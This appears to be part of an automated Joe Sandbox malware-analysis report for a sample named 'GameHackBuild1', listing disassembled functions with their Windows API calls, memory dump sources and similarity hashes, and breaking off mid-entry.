Function 00A027E8 Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794COMMON

Download Yara Rule

APIs

__EH_prolog.LIBCMT ref: 00A027F1
_strlen.LIBCMT ref: 00A02D7F

Part of subcall function 00A1137A: MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,?,?,?,?,?,00A0B652,00000000,?,?,?,00010444), ref: 00A11396

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 00A02EE0

Strings

CMT, xrefs: 00A02F13

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ByteCharH_prologMultiUnothrow_t@std@@@Wide__ehfuncinfo$??2@_strlen
String ID: CMT
API String ID: 1706572503-2756464174
Opcode ID: 4aa0b9a6c35419480fcaada050a230c11818a87ebb393b0997fe4b94f7f59fa9
Instruction ID: 54bb1eafe5b10b1f7d98611219f0baf0769747e2a2b40e087d4dc2e788c23fc2
Opcode Fuzzy Hash: 4aa0b9a6c35419480fcaada050a230c11818a87ebb393b0997fe4b94f7f59fa9
Instruction Fuzzy Hash: 6D62F2729003488FDF28DF24D9997EA3BE5AF58300F08457DEC9A8B2C2DB74A945CB50

Function 00A2866F Relevance: 4.6, APIs: 3, Instructions: 78COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 00A28767
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 00A28771
UnhandledExceptionFilter.KERNEL32(-00000311,?,?,?,?,?,00000000), ref: 00A2877E

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 0ca2552ab4be3663e4093a1b57f24334c16494ed13e1e31b0bbf9128c2188d70
Instruction ID: 5c6217b58d63eb9f01dae8c54641a1e061082c2be237b656474488ed705902c3
Opcode Fuzzy Hash: 0ca2552ab4be3663e4093a1b57f24334c16494ed13e1e31b0bbf9128c2188d70
Instruction Fuzzy Hash: 4131B5759012289BCB21DF68DD89BDCB7B4AF08310F5041EAF81CA7251EB349B858F45

Function 00A2AAA8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 114COMMON

Download Yara Rule

Strings

., xrefs: 00A2AC3B

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: .
API String ID: 0-248832578
Opcode ID: e3eb1d62d10f5d83bf470271f33bdf5b18343ae13b5295c30edf486e4ad62a1a
Instruction ID: a210f76ba620c5a47a3f34c0f619524e29c803915f350fbffe9212ab46226156
Opcode Fuzzy Hash: e3eb1d62d10f5d83bf470271f33bdf5b18343ae13b5295c30edf486e4ad62a1a
Instruction Fuzzy Hash: AF31F272800229AFCB24DF7CED84EEBBBBEDB95314F1401A8F91997251E6309D85CB50

Function 00A2CB60 Relevance: 3.5, APIs: 2, Instructions: 464COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction ID: c6a95cc0716573e4489389be61f0bcf2aae14d0a421986f9b07940fc399df07b
Opcode Fuzzy Hash: 3f40ebe10d214b85774591126f504afcb75e73f030a81f23e755a653bb72e8d1
Instruction Fuzzy Hash: A9020D71E002299FDF14CFADD9806ADBBF1EF48324F254269E919E7384D731AA41CB90

Function 00A1A63C Relevance: 3.0, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000400,0000000F,?,00000064), ref: 00A1A662
GetNumberFormatW.KERNEL32(00000400,00000000,?,00A3E600,?,?), ref: 00A1A6B1

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: FormatInfoLocaleNumber
String ID:
API String ID: 2169056816-0
Opcode ID: 37e2f68f27495eea0a381c26df4c8da47cc5db0d8d78885f58828b4d099d3adc
Instruction ID: 9ed2794ecef700bc8cad74ba3b89f7cd7396d622517bcb3a6b728006e0527617
Opcode Fuzzy Hash: 37e2f68f27495eea0a381c26df4c8da47cc5db0d8d78885f58828b4d099d3adc
Instruction Fuzzy Hash: 09014836500308BADB10CFA5EC06FABB7BCEF19711F004922BA04A7190D3709A258BA5

Function 00A06EC9 Relevance: 3.0, APIs: 2, Instructions: 17windowCOMMON

Download Yara Rule

APIs

GetLastError.KERNEL32(00A1117C,?,00000200), ref: 00A06EC9
FormatMessageW.KERNEL32(00001200,00000000,00000000,00000400,?,?,00000000), ref: 00A06EEA

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ErrorFormatLastMessage
String ID:
API String ID: 3479602957-0
Opcode ID: 0c501c1487f3e4f707522488ccbd98956d28be552840f89e3bbae394206aac1a
Instruction ID: a45ae861117e9960026df64485e9e112f5065c3dbfe730aa4dd7842ac3e52086
Opcode Fuzzy Hash: 0c501c1487f3e4f707522488ccbd98956d28be552840f89e3bbae394206aac1a
Instruction Fuzzy Hash: 66D0C7363C8306BFEE114B74DC05F277B64675AB46F108514B357D90D0C57090359615

Function 00A31194 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,00A3118F,?,?,00000008,?,?,00A30E2F,00000000), ref: 00A313C1

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: df5964088eb6d4ddb69454c6af87072f58dc2da9331f954f9e3928abed8da65d
Instruction ID: 7da94d1bad9b0e5c1c0201ec28558e519662cbe29f34585c0c424ba4067e5a61
Opcode Fuzzy Hash: df5964088eb6d4ddb69454c6af87072f58dc2da9331f954f9e3928abed8da65d
Instruction Fuzzy Hash: 91B14B71610608DFD715CF28C48ABA57BE0FF45364F298668F899CF2A1C335E992CB40

Function 00A0407E Relevance: 1.6, Strings: 1, Instructions: 332COMMON

Download Yara Rule

Strings

gj, xrefs: 00A040C1

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID: gj
API String ID: 0-4203073231
Opcode ID: 0d57d218fe89d0166f28328cdcd9a1fa5b348b01b3fec8eb1893101a2ad161d8
Instruction ID: a52ca8b00261a6282c756e36b13ae38ecfa0c91779006251d1770a70ba8b8297
Opcode Fuzzy Hash: 0d57d218fe89d0166f28328cdcd9a1fa5b348b01b3fec8eb1893101a2ad161d8
Instruction Fuzzy Hash: 50F1C2B2A083418FD748CF29D880A1AFBE1BFCC208F15892EF598D7711E774E9558B56

Function 00A0ACF5 Relevance: 1.5, APIs: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetVersionExW.KERNEL32(?), ref: 00A0AD1A

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: a5d7b1368dc48b816c22d52d2a14ef26af5eaed207f75243dba2fdc958859024
Instruction ID: 02ac16f748cf6e851b5bce0d1af3fed945adcef1cd2f0df8ba856d18de49182b
Opcode Fuzzy Hash: a5d7b1368dc48b816c22d52d2a14ef26af5eaed207f75243dba2fdc958859024
Instruction Fuzzy Hash: 4AF01DB8D0030C8BCB28CB58FD41AE973B5F79A711F2006A9EA1943794D371AD469E51

Function 00A1F063 Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001F070,00A1EAC5), ref: 00A1F068

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 7e8fbe2de17c028644fee8e04b1c867aa07a33ee38e0f361088e6e7f065f6701
Instruction ID: 2c093945822b112073918ebab3c9283ea1d536beaf4635d72f3d3430c793dfbc
Opcode Fuzzy Hash: 7e8fbe2de17c028644fee8e04b1c867aa07a33ee38e0f361088e6e7f065f6701
Instruction Fuzzy Hash:

Function 00A2B710 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00A2B710

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 3214212f9a0e1bf54ce27d62555baa839f6d0bb5842473792d00adbb2d84ba83
Instruction ID: 749f0436968f4787850221798bd9558f9a68f9f195af09279b2382c4f48c8165
Opcode Fuzzy Hash: 3214212f9a0e1bf54ce27d62555baa839f6d0bb5842473792d00adbb2d84ba83
Instruction Fuzzy Hash: B2A001B96092018B9B40CFB6AE096093EA9AA456917098269B50AC6160EA6885629F41

Function 00A15C77 Relevance: .8, Instructions: 800COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d4e6f686245691e8deafc412275daf14c0b6778875d503061389a73a882d99f1
Instruction ID: 8cf9751ad535fcb21c2e07cef2ddb357e322ec9d2b552b290c21d75008592ed3
Opcode Fuzzy Hash: d4e6f686245691e8deafc412275daf14c0b6778875d503061389a73a882d99f1
Instruction Fuzzy Hash: 4862E971A04B859FCB29CF38C9906F9BBE1AF95304F04C56DD8AA8B346D634E985CB14

Function 00A170BF Relevance: .8, Instructions: 773COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9fb576b17390bb22184e2771d7f6d2ea9ddecd1b2d3aee5da0db1480283fe06e
Instruction ID: 38bd71ce711257f4672095c6176065800e37d6b32ae6feabd2fe7726a1d09e56
Opcode Fuzzy Hash: 9fb576b17390bb22184e2771d7f6d2ea9ddecd1b2d3aee5da0db1480283fe06e
Instruction Fuzzy Hash: 1262F27160878A9FC719CF28C9805F9BBF1BF55304F14966DE8A68B742D730E996CB80

Function 00A0ED14 Relevance: .7, Instructions: 694COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5440585dfd394d5fd8077a7b337b4bea55dec9cc4813816d2c704a90d235d1aa
Instruction ID: 3460e1cbdc3adec7ed6068c87d5e727f14885dca43d75624e8aa5628cd0f7557
Opcode Fuzzy Hash: 5440585dfd394d5fd8077a7b337b4bea55dec9cc4813816d2c704a90d235d1aa
Instruction Fuzzy Hash: 3D523AB26087058FC718CF19C891A6AF7E1FFCC304F498A2DE98597255D734EA19CB86

Function 00A16A7B Relevance: .5, Instructions: 509COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 812b6346aa954855af07ccd2866c345bc8f865446b94536792dd6c2bd229148c
Instruction ID: 57f27b4e328f1632f75e9a94e97038e0adfc72691ed87ec5a2463101b80d7f50
Opcode Fuzzy Hash: 812b6346aa954855af07ccd2866c345bc8f865446b94536792dd6c2bd229148c
Instruction Fuzzy Hash: 7412C1B17047068BC728CF28D990AB9B7E1FF58308F14892EE597C7A81D774A8E5CB45

Function 00A0BE13 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1d3c34bfb415cfe69d59e2ce7529c99a5d1c92ae7b03a41ef38f880d819f39a7
Instruction ID: 17f48df5a731e71ea427e358da3a7fd3ff2414057ed9551ce528ae5f6fb5296d
Opcode Fuzzy Hash: 1d3c34bfb415cfe69d59e2ce7529c99a5d1c92ae7b03a41ef38f880d819f39a7
Instruction Fuzzy Hash: CAF19B72A183198FC718CF29E58496EBBE1EFC9324F148B2EF49597291D730E905CB52

Function 00A20B43 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction ID: 8983da443697821b190ef67dfa365339a2a29d3bec39beb7fe9f220aa576b180
Opcode Fuzzy Hash: bf6ffcbe3773841c348058a39a16573d3b2338b254e5945c46ce03dce2746f28
Instruction Fuzzy Hash: 83C1AF362050B30ADF2D473DA53483FFAA25AA27B131A077DD4B2CB5D6FE20D564DA20

Function 00A20F78 Relevance: .3, Instructions: 341COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction ID: f9ec97d5b964c19a546b8c999e349df3f11358a3739ea329bd777b1217c69de0
Opcode Fuzzy Hash: a635e2a33a60bcf8d734eac2a911e111534612f0cd64c6a362f1e57f4f360174
Instruction Fuzzy Hash: 4BC193362095B30ADF6D473DA53443FBAA25AA27B131A077DE4B2CB4C5FE20D564DA20

Function 00A2070E Relevance: .3, Instructions: 331COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a00000_GameHackBuild1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction ID: dc1f2937ce8f44e57f57529e4f42b1d147ceb4aa41f605bd62b0528611a50e60
Opcode Fuzzy Hash: 693fc2a06020ee0ee57da02a4a933cd5ad315ff3ac21a4b032580d2a5e4f36f6
Instruction Fuzzy Hash: CFC190362055B30ADF2D473DA53483FBAA25AA27B131A077DD4B3CB5C6FE20D564DA20

Function 00A202F6 Relevance: .3, Instructions: 323COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1299550841.0000000000A01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00A00000, based on PE: true

Associated: 00000000.00000002.1299527716.0000000000A00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299593068.0000000000A33000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A3E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A44000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299624613.0000000000A61000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1299819872.0000000000A62000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

